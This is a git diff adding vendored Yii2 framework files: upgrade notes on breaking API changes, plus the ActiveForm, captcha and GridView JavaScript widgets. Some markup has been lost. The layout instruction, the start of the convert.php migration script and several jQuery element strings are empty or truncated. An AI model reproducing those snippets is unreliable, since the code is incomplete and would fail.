upgrade composer itself to the latest version if you see any problems: + + ``` + php composer.phar self-update + ``` + +* If you used `clearAll()` or `clearAllAssignments()` of `yii\rbac\DbManager`, you should replace + them with `removeAll()` and `removeAllAssignments()` respectively. + +* If you created RBAC rule classes, you should modify their `execute()` method by adding `$user` + as the first parameter: `execute($user, $item, $params)`. The `$user` parameter represents + the ID of the user currently being access checked. Previously, this is passed via `$params['user']`. + +* If you override `yii\grid\DataColumn::getDataCellValue()` with visibility `protected` you have + to change visibility to `public` as visibility of the base method has changed. + +* If you have classes implementing `yii\web\IdentityInterface` (very common), you should modify + the signature of `findIdentityByAccessToken()` as + `public static function findIdentityByAccessToken($token, $type = null)`. The new `$type` parameter + will contain the type information about the access token. For example, if you use + `yii\filters\auth\HttpBearerAuth` authentication method, the value of this parameter will be + `yii\filters\auth\HttpBearerAuth`. This allows you to differentiate access tokens taken by + different authentication methods. + +* If you are sharing the same cache across different applications, you should configure + the `keyPrefix` property of the cache component to use some unique string. + Previously, this property was automatically assigned with a unique string. + +* If you are using `dropDownList()`, `listBox()`, `activeDropDownList()`, or `activeListBox()` + of `yii\helpers\Html`, and your list options use multiple blank spaces to format and align + option label texts, you need to specify the option `encodeSpaces` to be true. + +* If you are using `yii\grid\GridView` and have configured a data column to use a PHP callable + to return cell values (via `yii\grid\DataColumn::value`), you may need to adjust the signature + of the callable to be `function ($model, $key, $index, $widget)`. The `$key` parameter was newly added + in this release. + +* `yii\console\controllers\AssetController` is now using hashes instead of timestamps. Replace all `{ts}` with `{hash}`. + +* The database table of the `yii\log\DbTarget` now needs a `prefix` column to store context information. + You can add it with `ALTER TABLE log ADD COLUMN prefix TEXT AFTER log_time;`. + +* The `fileinfo` PHP extension is now required by Yii. If you use `yii\helpers\FileHelper::getMimeType()`, make sure + you have enabled this extension. This extension is [builtin](http://www.php.net/manual/en/fileinfo.installation.php) in php above `5.3`. + +* Please update your main layout file by adding this line in the `` section: ``. + This change is needed because `yii\web\View` no longer automatically generates CSRF meta tags due to issue #3358. + +* If your model code is using the `file` validation rule, you should rename its `types` option to `extensions`. + +* `MailEvent` class has been moved to the `yii\mail` namespace. You have to adjust all references that may exist in your code. + +* The behavior and signature of `ActiveRecord::afterSave()` has changed. `ActiveRecord::$isNewRecord` will now always be + false in afterSave and also dirty attributes are not available. This change has been made to have a more consistent and + expected behavior. The changed attributes are now available in the new parameter of afterSave() `$changedAttributes`. + `$changedAttributes` contains the old values of attributes that had changed and were saved. + +* `ActiveRecord::updateAttributes()` has been changed to not trigger events and not respect optimistic locking anymore to + differentiate it more from calling `update(false)` and to ensure it can be used in `afterSave()` without triggering infinite + loops. + +* If you are developing RESTful APIs and using an authentication method such as `yii\filters\auth\HttpBasicAuth`, + you should explicitly configure `yii\web\User::enableSession` in the application configuration to be false to avoid + starting a session when authentication is performed. Previously this was done automatically by authentication method. + +* `mail` component was renamed to `mailer`, `yii\log\EmailTarget::$mail` was renamed to `yii\log\EmailTarget::$mailer`. + Please update all references in the code and config files. + +* `yii\caching\GroupDependency` was renamed to `TagDependency`. You should create such a dependency using the code + `new \yii\caching\TagDependency(['tags' => 'TagName'])`, where `TagName` is similar to the group name that you + previously used. + +* If you are using the constant `YII_PATH` in your code, you should rename it to `YII2_PATH` now. + +* You must explicitly configure `yii\web\Request::cookieValidationKey` with a secret key. Previously this is done automatically. + To do so, modify your application configuration like the following: + + ```php + return [ + // ... + 'components' => [ + 'request' => [ + 'cookieValidationKey' => 'your secret key here', + ], + ], + ]; + ``` + + > Note: If you are using the `Advanced Application Template` you should not add this configuration to `common/config` + or `console/config` because the console application doesn't have to deal with CSRF and uses its own request that + doesn't have `cookieValidationKey` property. + +* `yii\rbac\PhpManager` now stores data in three separate files instead of one. In order to convert old file to +new ones save the following code as `convert.php` that should be placed in the same directory your `rbac.php` is in: + + ```php + $data) { + if (isset($data['assignments'])) { + foreach ($data['assignments'] as $userId => $assignmentData) { + $assignments[$userId][] = $assignmentData['roleName']; + } + unset($data['assignments']); + } + $items[$name] = $data; + } + } + + $rules = []; + if (isset($oldData['rules'])) { + $rules = $oldData['rules']; + } + + saveToFile($items, $itemsFile); + saveToFile($assignments, $assignmentsFile); + saveToFile($rules, $rulesFile); + + echo "Done!\n"; + ``` + + Run it once, delete `rbac.php`. If you've configured `authFile` property, remove the line from config and instead + configure `itemFile`, `assignmentFile` and `ruleFile`. + +* Static helper `yii\helpers\Security` has been converted into an application component. You should change all usage of + its methods to a new syntax, for example: instead of `yii\helpers\Security::hashData()` use `Yii::$app->getSecurity()->hashData()`. + Default encryption and hash parameters has been upgraded. If you need to decrypt/validate data that was encrypted/hashed + before, use the following configuration of the 'security' component: + + ```php + return [ + 'components' => [ + 'security' => [ + 'derivationIterations' => 1000, + ], + // ... + ], + // ... + ]; + ``` + +* If you are using query caching, you should modify your relevant code as follows, as `beginCache()` and `endCache()` are + replaced by `cache()`: + + ```php + $db->cache(function ($db) { + + // ... SQL queries that need to use query caching + + }, $duration, $dependency); + ``` + +* Due to significant changes to security you need to upgrade your code to use `\yii\base\Security` component instead of + helper. If you have any data encrypted it should be re-encrypted. In order to do so you can use old security helper + [as explained by @docsolver at github](https://github.com/yiisoft/yii2/issues/4461#issuecomment-50237807). + +* [[yii\helpers\Url::to()]] will no longer prefix base URL to relative URLs. For example, `Url::to('images/logo.png')` + will return `images/logo.png` directly. If you want a relative URL to be prefix with base URL, you should make use + of the alias `@web`. For example, `Url::to('@web/images/logo.png')` will return `/BaseUrl/images/logo.png`. + +* The following properties are now taking `false` instead of `null` for "don't use" case: + - `yii\bootstrap\NavBar::$brandLabel`. + - `yii\bootstrap\NavBar::$brandUrl`. + - `yii\bootstrap\Modal::$closeButton`. + - `yii\bootstrap\Modal::$toggleButton`. + - `yii\bootstrap\Alert::$closeButton`. + - `yii\widgets\LinkPager::$nextPageLabel`. + - `yii\widgets\LinkPager::$prevPageLabel`. + - `yii\widgets\LinkPager::$firstPageLabel`. + - `yii\widgets\LinkPager::$lastPageLabel`. + +* The format of the Faker fixture template is changed. For an example, please refer to the file + `apps/advanced/common/tests/templates/fixtures/user.php`. + +* The signature of all file downloading methods in `yii\web\Response` is changed, as summarized below: + - `sendFile($filePath, $attachmentName = null, $options = [])` + - `sendContentAsFile($content, $attachmentName, $options = [])` + - `sendStreamAsFile($handle, $attachmentName, $options = [])` + - `xSendFile($filePath, $attachmentName = null, $options = [])` + +* The signature of callbacks used in `yii\base\ArrayableTrait::fields()` is changed from `function ($field, $model) {` + to `function ($model, $field) {`. + +* `Html::radio()`, `Html::checkbox()`, `Html::radioList()`, `Html::checkboxList()` no longer generate the container + tag around each radio/checkbox when you specify labels for them. You should manually render such container tags, + or set the `item` option for `Html::radioList()`, `Html::checkboxList()` to generate the container tags. + +* The formatter class has been refactored to have only one class regardless whether PHP intl extension is installed or not. + Functionality of `yii\base\Formatter` has been merged into `yii\i18n\Formatter` and `yii\base\Formatter` has been + removed so you have to replace all usage of `yii\base\Formatter` with `yii\i18n\Formatter` in your code. + Also the API of the Formatter class has changed in many ways. + The signature of the following Methods has changed: + + - `asDate` + - `asTime` + - `asDateTime` + - `asSize` has been split up into `asSize` and `asShortSize` + - `asCurrency` + - `asDecimal` + - `asPercent` + - `asScientific` + + The following methods have been removed, this also means that the corresponding format which may be used by a + GridView or DetailView is not available anymore: + + - `asNumber` + - `asDouble` + + Also due to these changes some formatting defaults have changes so you have to check all your GridView and DetailView + configuration and make sure the formatting is displayed correctly. + + The configuration for `asSize()` has changed. It now uses the configuration for the number formatting from intl + and only the base is configured using `$sizeFormatBase`. + + The specification of the date and time formats is now using the ICU pattern format even if PHP intl extension is not installed. + You can prefix a date format with `php:` to use the old format of the PHP `date()`-function. + +* The DateValidator has been refactored to use the same format as the Formatter class now (see previous change). + When you use the DateValidator and did not specify a format it will now be what is configured in the formatter class instead of 'Y-m-d'. + To get the old behavior of the DateValidator you have to set the format explicitly in your validation rule: + + ```php + ['attributeName', 'date', 'format' => 'php:Y-m-d'], + ``` + +* `beforeValidate()`, `beforeValidateAll()`, `afterValidate()`, `afterValidateAll()`, `ajaxBeforeSend()` and `ajaxComplete()` + are removed from `ActiveForm`. The same functionality is now achieved via JavaScript event mechanism like the following: + + ```js + $('#myform').on('beforeValidate', function (event, messages, deferreds) { + // called when the validation is triggered by submitting the form + // return false if you want to cancel the validation for the whole form + }).on('beforeValidateAttribute', function (event, attribute, messages, deferreds) { + // before validating an attribute + // return false if you want to cancel the validation for the attribute + }).on('afterValidateAttribute', function (event, attribute, messages) { + // ... + }).on('afterValidate', function (event, messages) { + // ... + }).on('beforeSubmit', function () { + // after all validations have passed + // you can do ajax form submission here + // return false if you want to stop form submission + }); + ``` + +* The signature of `View::registerJsFile()` and `View::registerCssFile()` has changed. The `$depends` and `$position` + paramaters have been merged into `$options`. The new signatures are as follows: + + - `registerJsFile($url, $options = [], $key = null)` + - `registerCssFile($url, $options = [], $key = null)` diff --git a/php/yii2/basic/vendor/yiisoft/yii2/Yii.php b/php/yii2/basic/vendor/yiisoft/yii2/Yii.php new file mode 100644 index 00000000..1e4efbbf --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/Yii.php @@ -0,0 +1,27 @@ + + * @since 2.0 + */ +class Yii extends \yii\BaseYii +{ +} + +spl_autoload_register(['Yii', 'autoload'], true, true); +Yii::$classMap = include(__DIR__ . '/classes.php'); +Yii::$container = new yii\di\Container; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/assets/yii.activeForm.js b/php/yii2/basic/vendor/yiisoft/yii2/assets/yii.activeForm.js new file mode 100644 index 00000000..621fd948 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/assets/yii.activeForm.js @@ -0,0 +1,606 @@ +/** + * Yii form widget. + * + * This is the JavaScript widget used by the yii\widgets\ActiveForm widget. + * + * @link http://www.yiiframework.com/ + * @copyright Copyright (c) 2008 Yii Software LLC + * @license http://www.yiiframework.com/license/ + * @author Qiang Xue + * @since 2.0 + */ +(function ($) { + + $.fn.yiiActiveForm = function (method) { + if (methods[method]) { + return methods[method].apply(this, Array.prototype.slice.call(arguments, 1)); + } else if (typeof method === 'object' || !method) { + return methods.init.apply(this, arguments); + } else { + $.error('Method ' + method + ' does not exist on jQuery.yiiActiveForm'); + return false; + } + }; + + var events = { + /** + * beforeValidate event is triggered before validating the whole form. + * The signature of the event handler should be: + * function (event, messages, deferreds) + * where + * - event: an Event object. + * - messages: an associative array with keys being attribute IDs and values being error message arrays + * for the corresponding attributes. + * - deferreds: an array of Deferred objects. You can use deferreds.add(callback) to add a new deferred validation. + * + * If the handler returns a boolean false, it will stop further form validation after this event. And as + * a result, afterValidate event will not be triggered. + */ + beforeValidate: 'beforeValidate', + /** + * afterValidate event is triggered after validating the whole form. + * The signature of the event handler should be: + * function (event, messages) + * where + * - event: an Event object. + * - messages: an associative array with keys being attribute IDs and values being error message arrays + * for the corresponding attributes. + */ + afterValidate: 'afterValidate', + /** + * beforeValidateAttribute event is triggered before validating an attribute. + * The signature of the event handler should be: + * function (event, attribute, messages, deferreds) + * where + * - event: an Event object. + * - attribute: the attribute to be validated. Please refer to attributeDefaults for the structure of this parameter. + * - messages: an array to which you can add validation error messages for the specified attribute. + * - deferreds: an array of Deferred objects. You can use deferreds.add(callback) to add a new deferred validation. + * + * If the handler returns a boolean false, it will stop further validation of the specified attribute. + * And as a result, afterValidateAttribute event will not be triggered. + */ + beforeValidateAttribute: 'beforeValidateAttribute', + /** + * afterValidateAttribute event is triggered after validating the whole form and each attribute. + * The signature of the event handler should be: + * function (event, attribute, messages) + * where + * - event: an Event object. + * - attribute: the attribute being validated. Please refer to attributeDefaults for the structure of this parameter. + * - messages: an array to which you can add additional validation error messages for the specified attribute. + */ + afterValidateAttribute: 'afterValidateAttribute', + /** + * beforeSubmit event is triggered before submitting the form after all validations have passed. + * The signature of the event handler should be: + * function (event) + * where event is an Event object. + * + * If the handler returns a boolean false, it will stop form submission. + */ + beforeSubmit: 'beforeSubmit', + /** + * ajaxBeforeSend event is triggered before sending an AJAX request for AJAX-based validation. + * The signature of the event handler should be: + * function (event, jqXHR, settings) + * where + * - event: an Event object. + * - jqXHR: a jqXHR object + * - settings: the settings for the AJAX request + */ + ajaxBeforeSend: 'ajaxBeforeSend', + /** + * ajaxComplete event is triggered after completing an AJAX request for AJAX-based validation. + * The signature of the event handler should be: + * function (event, jqXHR, textStatus) + * where + * - event: an Event object. + * - jqXHR: a jqXHR object + * - settings: the status of the request ("success", "notmodified", "error", "timeout", "abort", or "parsererror"). + */ + ajaxComplete: 'ajaxComplete' + }; + + // NOTE: If you change any of these defaults, make sure you update yii\widgets\ActiveForm::getClientOptions() as well + var defaults = { + // whether to encode the error summary + encodeErrorSummary: true, + // the jQuery selector for the error summary + errorSummary: '.error-summary', + // whether to perform validation before submitting the form. + validateOnSubmit: true, + // the container CSS class representing the corresponding attribute has validation error + errorCssClass: 'has-error', + // the container CSS class representing the corresponding attribute passes validation + successCssClass: 'has-success', + // the container CSS class representing the corresponding attribute is being validated + validatingCssClass: 'validating', + // the GET parameter name indicating an AJAX-based validation + ajaxParam: 'ajax', + // the type of data that you're expecting back from the server + ajaxDataType: 'json', + // the URL for performing AJAX-based validation. If not set, it will use the the form's action + validationUrl: undefined + }; + + // NOTE: If you change any of these defaults, make sure you update yii\widgets\ActiveField::getClientOptions() as well + var attributeDefaults = { + // a unique ID identifying an attribute (e.g. "loginform-username") in a form + id: undefined, + // attribute name or expression (e.g. "[0]content" for tabular input) + name: undefined, + // the jQuery selector of the container of the input field + container: undefined, + // the jQuery selector of the input field under the context of the container + input: undefined, + // the jQuery selector of the error tag under the context of the container + error: '.help-block', + // whether to encode the error + encodeError: true, + // whether to perform validation when a change is detected on the input + validateOnChange: true, + // whether to perform validation when the input loses focus + validateOnBlur: true, + // whether to perform validation when the user is typing. + validateOnType: false, + // number of milliseconds that the validation should be delayed when a user is typing in the input field. + validationDelay: 500, + // whether to enable AJAX-based validation. + enableAjaxValidation: false, + // function (attribute, value, messages), the client-side validation function. + validate: undefined, + // status of the input field, 0: empty, not entered before, 1: validated, 2: pending validation, 3: validating + status: 0, + // whether the validation is cancelled by beforeValidateAttribute event handler + cancelled: false, + // the value of the input + value: undefined + }; + + var methods = { + init: function (attributes, options) { + return this.each(function () { + var $form = $(this); + if ($form.data('yiiActiveForm')) { + return; + } + + var settings = $.extend({}, defaults, options || {}); + if (settings.validationUrl === undefined) { + settings.validationUrl = $form.prop('action'); + } + + $.each(attributes, function (i) { + attributes[i] = $.extend({value: getValue($form, this)}, attributeDefaults, this); + watchAttribute($form, attributes[i]); + }); + + $form.data('yiiActiveForm', { + settings: settings, + attributes: attributes, + submitting: false, + validated: false + }); + + /** + * Clean up error status when the form is reset. + * Note that $form.on('reset', ...) does work because the "reset" event does not bubble on IE. + */ + $form.bind('reset.yiiActiveForm', methods.resetForm); + + if (settings.validateOnSubmit) { + $form.on('mouseup.yiiActiveForm keyup.yiiActiveForm', ':submit', function () { + $form.data('yiiActiveForm').submitObject = $(this); + }); + $form.on('submit.yiiActiveForm', methods.submitForm); + } + }); + }, + + // add a new attribute to the form dynamically. + // please refer to attributeDefaults for the structure of attribute + add: function (attribute) { + var $form = $(this); + attribute = $.extend({value: getValue($form, attribute)}, attributeDefaults, attribute); + $form.data('yiiActiveForm').attributes.push(attribute); + watchAttribute($form, attribute); + }, + + // remove the attribute with the specified ID from the form + remove: function (id) { + var $form = $(this), + attributes = $form.data('yiiActiveForm').attributes, + index = -1, + attribute = undefined; + $.each(attributes, function (i) { + if (attributes[i]['id'] == id) { + index = i; + attribute = attributes[i]; + return false; + } + }); + if (index >= 0) { + attributes.splice(index, 1); + unwatchAttribute($form, attribute); + } + return attribute; + }, + + // find an attribute config based on the specified attribute ID + find: function (id) { + var attributes = $(this).data('yiiActiveForm').attributes, + result = undefined; + $.each(attributes, function (i) { + if (attributes[i]['id'] == id) { + result = attributes[i]; + return false; + } + }); + return result; + }, + + destroy: function () { + return this.each(function () { + $(this).unbind('.yiiActiveForm'); + $(this).removeData('yiiActiveForm'); + }); + }, + + data: function () { + return this.data('yiiActiveForm'); + }, + + validate: function () { + var $form = $(this), + data = $form.data('yiiActiveForm'), + needAjaxValidation = false, + messages = {}, + deferreds = deferredArray(), + submitting = data.submitting; + + if (submitting) { + var event = $.Event(events.beforeValidate); + $form.trigger(event, [messages, deferreds]); + if (event.result === false) { + data.submitting = false; + return; + } + } + + // client-side validation + $.each(data.attributes, function () { + this.cancelled = false; + // perform validation only if the form is being submitted or if an attribute is pending validation + if (data.submitting || this.status === 2 || this.status === 3) { + var msg = messages[this.id]; + if (msg === undefined) { + msg = []; + messages[this.id] = msg; + } + var event = $.Event(events.beforeValidateAttribute); + $form.trigger(event, [this, msg, deferreds]); + if (event.result !== false) { + if (this.validate) { + this.validate(this, getValue($form, this), msg, deferreds); + } + if (this.enableAjaxValidation) { + needAjaxValidation = true; + } + } else { + this.cancelled = true; + } + } + }); + + // ajax validation + $.when.apply(this, deferreds).always(function() { + // Remove empty message arrays + for (var i in messages) { + if (0 === messages[i].length) { + delete messages[i]; + } + } + if (needAjaxValidation) { + var $button = data.submitObject, + extData = '&' + data.settings.ajaxParam + '=' + $form.prop('id'); + if ($button && $button.length && $button.prop('name')) { + extData += '&' + $button.prop('name') + '=' + $button.prop('value'); + } + $.ajax({ + url: data.settings.validationUrl, + type: $form.prop('method'), + data: $form.serialize() + extData, + dataType: data.settings.ajaxDataType, + complete: function (jqXHR, textStatus) { + $form.trigger(events.ajaxComplete, [jqXHR, textStatus]); + }, + beforeSend: function (jqXHR, settings) { + $form.trigger(events.ajaxBeforeSend, [jqXHR, settings]); + }, + success: function (msgs) { + if (msgs !== null && typeof msgs === 'object') { + $.each(data.attributes, function () { + if (!this.enableAjaxValidation || this.cancelled) { + delete msgs[this.id]; + } + }); + updateInputs($form, $.extend(messages, msgs), submitting); + } else { + updateInputs($form, messages, submitting); + } + }, + error: function () { + data.submitting = false; + } + }); + } else if (data.submitting) { + // delay callback so that the form can be submitted without problem + setTimeout(function () { + updateInputs($form, messages, submitting); + }, 200); + } else { + updateInputs($form, messages, submitting); + } + }); + }, + + submitForm: function () { + var $form = $(this), + data = $form.data('yiiActiveForm'); + + if (data.validated) { + data.submitting = false; + var event = $.Event(events.beforeSubmit); + $form.trigger(event); + if (event.result === false) { + data.validated = false; + return false; + } + return true; // continue submitting the form since validation passes + } else { + if (data.settings.timer !== undefined) { + clearTimeout(data.settings.timer); + } + data.submitting = true; + methods.validate.call($form); + return false; + } + }, + + resetForm: function () { + var $form = $(this); + var data = $form.data('yiiActiveForm'); + // Because we bind directly to a form reset event instead of a reset button (that may not exist), + // when this function is executed form input values have not been reset yet. + // Therefore we do the actual reset work through setTimeout. + setTimeout(function () { + $.each(data.attributes, function () { + // Without setTimeout() we would get the input values that are not reset yet. + this.value = getValue($form, this); + this.status = 0; + var $container = $form.find(this.container); + $container.removeClass( + data.settings.validatingCssClass + ' ' + + data.settings.errorCssClass + ' ' + + data.settings.successCssClass + ); + $container.find(this.error).html(''); + }); + $form.find(data.settings.summary).hide().find('ul').html(''); + }, 1); + } + }; + + var watchAttribute = function ($form, attribute) { + var $input = findInput($form, attribute); + if (attribute.validateOnChange) { + $input.on('change.yiiActiveForm',function () { + validateAttribute($form, attribute, false); + }); + } + if (attribute.validateOnBlur) { + $input.on('blur.yiiActiveForm', function () { + if (attribute.status == 0 || attribute.status == 1) { + validateAttribute($form, attribute, !attribute.status); + } + }); + } + if (attribute.validateOnType) { + $input.on('keyup.yiiActiveForm', function () { + if (attribute.value !== getValue($form, attribute)) { + validateAttribute($form, attribute, false, attribute.validationDelay); + } + }); + } + }; + + var unwatchAttribute = function ($form, attribute) { + findInput($form, attribute).off('.yiiActiveForm'); + }; + + var validateAttribute = function ($form, attribute, forceValidate, validationDelay) { + var data = $form.data('yiiActiveForm'); + + if (forceValidate) { + attribute.status = 2; + } + $.each(data.attributes, function () { + if (this.value !== getValue($form, this)) { + this.status = 2; + forceValidate = true; + } + }); + if (!forceValidate) { + return; + } + + if (data.settings.timer !== undefined) { + clearTimeout(data.settings.timer); + } + data.settings.timer = setTimeout(function () { + if (data.submitting || $form.is(':hidden')) { + return; + } + $.each(data.attributes, function () { + if (this.status === 2) { + this.status = 3; + $form.find(this.container).addClass(data.settings.validatingCssClass); + } + }); + methods.validate.call($form); + }, validationDelay ? validationDelay : 200); + }; + + /** + * Returns an array prototype with a shortcut method for adding a new deferred. + * The context of the callback will be the deferred object so it can be resolved like ```this.resolve()``` + * @returns Array + */ + var deferredArray = function () { + var array = []; + array.add = function(callback) { + this.push(new $.Deferred(callback)); + }; + return array; + }; + + /** + * Updates the error messages and the input containers for all applicable attributes + * @param $form the form jQuery object + * @param messages array the validation error messages + * @param submitting whether this method is called after validation triggered by form submission + */ + var updateInputs = function ($form, messages, submitting) { + var data = $form.data('yiiActiveForm'); + + if (submitting) { + var errorInputs = []; + $.each(data.attributes, function () { + if (!this.cancelled && updateInput($form, this, messages)) { + errorInputs.push(this.input); + } + }); + + $form.trigger(events.afterValidate, [messages]); + + updateSummary($form, messages); + + if (errorInputs.length) { + var top = $form.find(errorInputs.join(',')).first().offset().top; + var wtop = $(window).scrollTop(); + if (top < wtop || top > wtop + $(window).height) { + $(window).scrollTop(top); + } + data.submitting = false; + } else { + data.validated = true; + var $button = data.submitObject || $form.find(':submit:first'); + // TODO: if the submission is caused by "change" event, it will not work + if ($button.length) { + $button.click(); + } else { + // no submit button in the form + $form.submit(); + } + } + } else { + $.each(data.attributes, function () { + if (!this.cancelled && (this.status === 2 || this.status === 3)) { + updateInput($form, this, messages); + } + }); + } + }; + + /** + * Updates the error message and the input container for a particular attribute. + * @param $form the form jQuery object + * @param attribute object the configuration for a particular attribute. + * @param messages array the validation error messages + * @return boolean whether there is a validation error for the specified attribute + */ + var updateInput = function ($form, attribute, messages) { + var data = $form.data('yiiActiveForm'), + $input = findInput($form, attribute), + hasError = false; + + if (!$.isArray(messages[attribute.id])) { + messages[attribute.id] = []; + } + $form.trigger(events.afterValidateAttribute, [attribute, messages[attribute.id]]); + + attribute.status = 1; + if ($input.length) { + hasError = messages[attribute.id].length > 0; + var $container = $form.find(attribute.container); + var $error = $container.find(attribute.error); + if (hasError) { + if (attribute.encodeError) { + $error.text(messages[attribute.id][0]); + } else { + $error.html(messages[attribute.id][0]); + } + $container.removeClass(data.settings.validatingCssClass + ' ' + data.settings.successCssClass) + .addClass(data.settings.errorCssClass); + } else { + $error.empty(); + $container.removeClass(data.settings.validatingCssClass + ' ' + data.settings.errorCssClass + ' ') + .addClass(data.settings.successCssClass); + } + attribute.value = getValue($form, attribute); + } + return hasError; + }; + + /** + * Updates the error summary. + * @param $form the form jQuery object + * @param messages array the validation error messages + */ + var updateSummary = function ($form, messages) { + var data = $form.data('yiiActiveForm'), + $summary = $form.find(data.settings.errorSummary), + $ul = $summary.find('ul').empty(); + + if ($summary.length && messages) { + $.each(data.attributes, function () { + if ($.isArray(messages[this.id]) && messages[this.id].length) { + var error = $('
          • '); + if (data.settings.encodeErrorSummary) { + error.text(messages[this.id][0]); + } else { + error.html(messages[this.id][0]); + } + $ul.append(error); + } + }); + $summary.toggle($ul.find('li').length > 0); + } + }; + + var getValue = function ($form, attribute) { + var $input = findInput($form, attribute); + var type = $input.prop('type'); + if (type === 'checkbox' || type === 'radio') { + var $realInput = $input.filter(':checked'); + if (!$realInput.length) { + $realInput = $form.find('input[type=hidden][name="' + $input.prop('name') + '"]'); + } + return $realInput.val(); + } else { + return $input.val(); + } + }; + + var findInput = function ($form, attribute) { + var $input = $form.find(attribute.input); + if ($input.length && $input[0].tagName.toLowerCase() === 'div') { + // checkbox list or radio list + return $input.find('input'); + } else { + return $input; + } + }; + +})(window.jQuery); diff --git a/php/yii2/basic/vendor/yiisoft/yii2/assets/yii.captcha.js b/php/yii2/basic/vendor/yiisoft/yii2/assets/yii.captcha.js new file mode 100644 index 00000000..b5c01c57 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/assets/yii.captcha.js @@ -0,0 +1,72 @@ +/** + * Yii Captcha widget. + * + * This is the JavaScript widget used by the yii\captcha\Captcha widget. + * + * @link http://www.yiiframework.com/ + * @copyright Copyright (c) 2008 Yii Software LLC + * @license http://www.yiiframework.com/license/ + * @author Qiang Xue + * @since 2.0 + */ +(function ($) { + $.fn.yiiCaptcha = function (method) { + if (methods[method]) { + return methods[method].apply(this, Array.prototype.slice.call(arguments, 1)); + } else if (typeof method === 'object' || !method) { + return methods.init.apply(this, arguments); + } else { + $.error('Method ' + method + ' does not exist on jQuery.yiiCaptcha'); + return false; + } + }; + + var defaults = { + refreshUrl: undefined, + hashKey: undefined + }; + + var methods = { + init: function (options) { + return this.each(function () { + var $e = $(this); + var settings = $.extend({}, defaults, options || {}); + $e.data('yiiCaptcha', { + settings: settings + }); + + $e.on('click.yiiCaptcha', function () { + methods.refresh.apply($e); + return false; + }); + + }); + }, + + refresh: function () { + var $e = this, + settings = this.data('yiiCaptcha').settings; + $.ajax({ + url: $e.data('yiiCaptcha').settings.refreshUrl, + dataType: 'json', + cache: false, + success: function (data) { + $e.attr('src', data.url); + $('body').data(settings.hashKey, [data.hash1, data.hash2]); + } + }); + }, + + destroy: function () { + return this.each(function () { + $(window).unbind('.yiiCaptcha'); + $(this).removeData('yiiCaptcha'); + }); + }, + + data: function () { + return this.data('yiiCaptcha'); + } + }; +})(window.jQuery); + diff --git a/php/yii2/basic/vendor/yiisoft/yii2/assets/yii.gridView.js b/php/yii2/basic/vendor/yiisoft/yii2/assets/yii.gridView.js new file mode 100644 index 00000000..2bdd5966 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/assets/yii.gridView.js @@ -0,0 +1,159 @@ +/** + * Yii GridView widget. + * + * This is the JavaScript widget used by the yii\grid\GridView widget. + * + * @link http://www.yiiframework.com/ + * @copyright Copyright (c) 2008 Yii Software LLC + * @license http://www.yiiframework.com/license/ + * @author Qiang Xue + * @since 2.0 + */ +(function ($) { + $.fn.yiiGridView = function (method) { + if (methods[method]) { + return methods[method].apply(this, Array.prototype.slice.call(arguments, 1)); + } else if (typeof method === 'object' || !method) { + return methods.init.apply(this, arguments); + } else { + $.error('Method ' + method + ' does not exist on jQuery.yiiGridView'); + return false; + } + }; + + var defaults = { + filterUrl: undefined, + filterSelector: undefined + }; + + var gridData = {}; + + var gridEvents = { + /** + * beforeFilter event is triggered before filtering the grid. + * The signature of the event handler should be: + * function (event) + * where + * - event: an Event object. + * + * If the handler returns a boolean false, it will stop filter form submission after this event. As + * a result, afterFilter event will not be triggered. + */ + beforeFilter: 'beforeFilter', + /** + * afterFilter event is triggered after filtering the grid and filtered results are fetched. + * The signature of the event handler should be: + * function (event) + * where + * - event: an Event object. + */ + afterFilter: 'afterFilter' + }; + + var methods = { + init: function (options) { + return this.each(function () { + var $e = $(this); + var settings = $.extend({}, defaults, options || {}); + gridData[$e.prop('id')] = {settings: settings}; + + var enterPressed = false; + $(document).off('change.yiiGridView keydown.yiiGridView', settings.filterSelector) + .on('change.yiiGridView keydown.yiiGridView', settings.filterSelector, function (event) { + if (event.type === 'keydown') { + if (event.keyCode !== 13) { + return; // only react to enter key + } else { + enterPressed = true; + } + } else { + // prevent processing for both keydown and change events + if (enterPressed) { + enterPressed = false; + return; + } + } + + methods.applyFilter.apply($e); + + return false; + }); + }); + }, + + applyFilter: function () { + var $grid = $(this), event; + var settings = gridData[$grid.prop('id')].settings; + var data = {}; + $.each($(settings.filterSelector).serializeArray(), function () { + data[this.name] = this.value; + }); + + $.each(yii.getQueryParams(settings.filterUrl), function (name, value) { + if (data[name] === undefined) { + data[name] = value; + } + }); + + var pos = settings.filterUrl.indexOf('?'); + var url = pos < 0 ? settings.filterUrl : settings.filterUrl.substring(0, pos); + + $grid.find('form.gridview-filter-form').remove(); + var $form = $('').appendTo($grid); + $.each(data, function (name, value) { + $form.append($('').attr('name', name).val(value)); + }); + + event = $.Event(gridEvents.beforeFilter); + $grid.trigger(event); + if (event.result === false) { + return; + } + + $form.submit(); + + $grid.trigger(gridEvents.afterFilter); + }, + + setSelectionColumn: function (options) { + var $grid = $(this); + var id = $(this).prop('id'); + gridData[id].selectionColumn = options.name; + if (!options.multiple) { + return; + } + var inputs = "#" + id + " input[name='" + options.checkAll + "']"; + $(document).off('click.yiiGridView', inputs).on('click.yiiGridView', inputs, function () { + $grid.find("input[name='" + options.name + "']:enabled").prop('checked', this.checked); + }); + $(document).off('click.yiiGridView', inputs + ":enabled").on('click.yiiGridView', inputs + ":enabled", function () { + var all = $grid.find("input[name='" + options.name + "']").length == $grid.find("input[name='" + options.name + "']:checked").length; + $grid.find("input[name='" + options.checkAll + "']").prop('checked', all); + }); + }, + + getSelectedRows: function () { + var $grid = $(this); + var data = gridData[$grid.prop('id')]; + var keys = []; + if (data.selectionColumn) { + $grid.find("input[name='" + data.selectionColumn + "']:checked").each(function () { + keys.push($(this).parent().closest('tr').data('key')); + }); + } + return keys; + }, + + destroy: function () { + return this.each(function () { + $(window).unbind('.yiiGridView'); + $(this).removeData('yiiGridView'); + }); + }, + + data: function () { + var id = $(this).prop('id'); + return gridData[id]; + } + }; +})(window.jQuery); diff --git a/php/yii2/basic/vendor/yiisoft/yii2/assets/yii.js b/php/yii2/basic/vendor/yiisoft/yii2/assets/yii.js new file mode 100644 index 00000000..ded1bf0a --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/assets/yii.js @@ -0,0 +1,287 @@ +/** + * Yii JavaScript module. + * + * @link http://www.yiiframework.com/ + * @copyright Copyright (c) 2008 Yii Software LLC + * @license 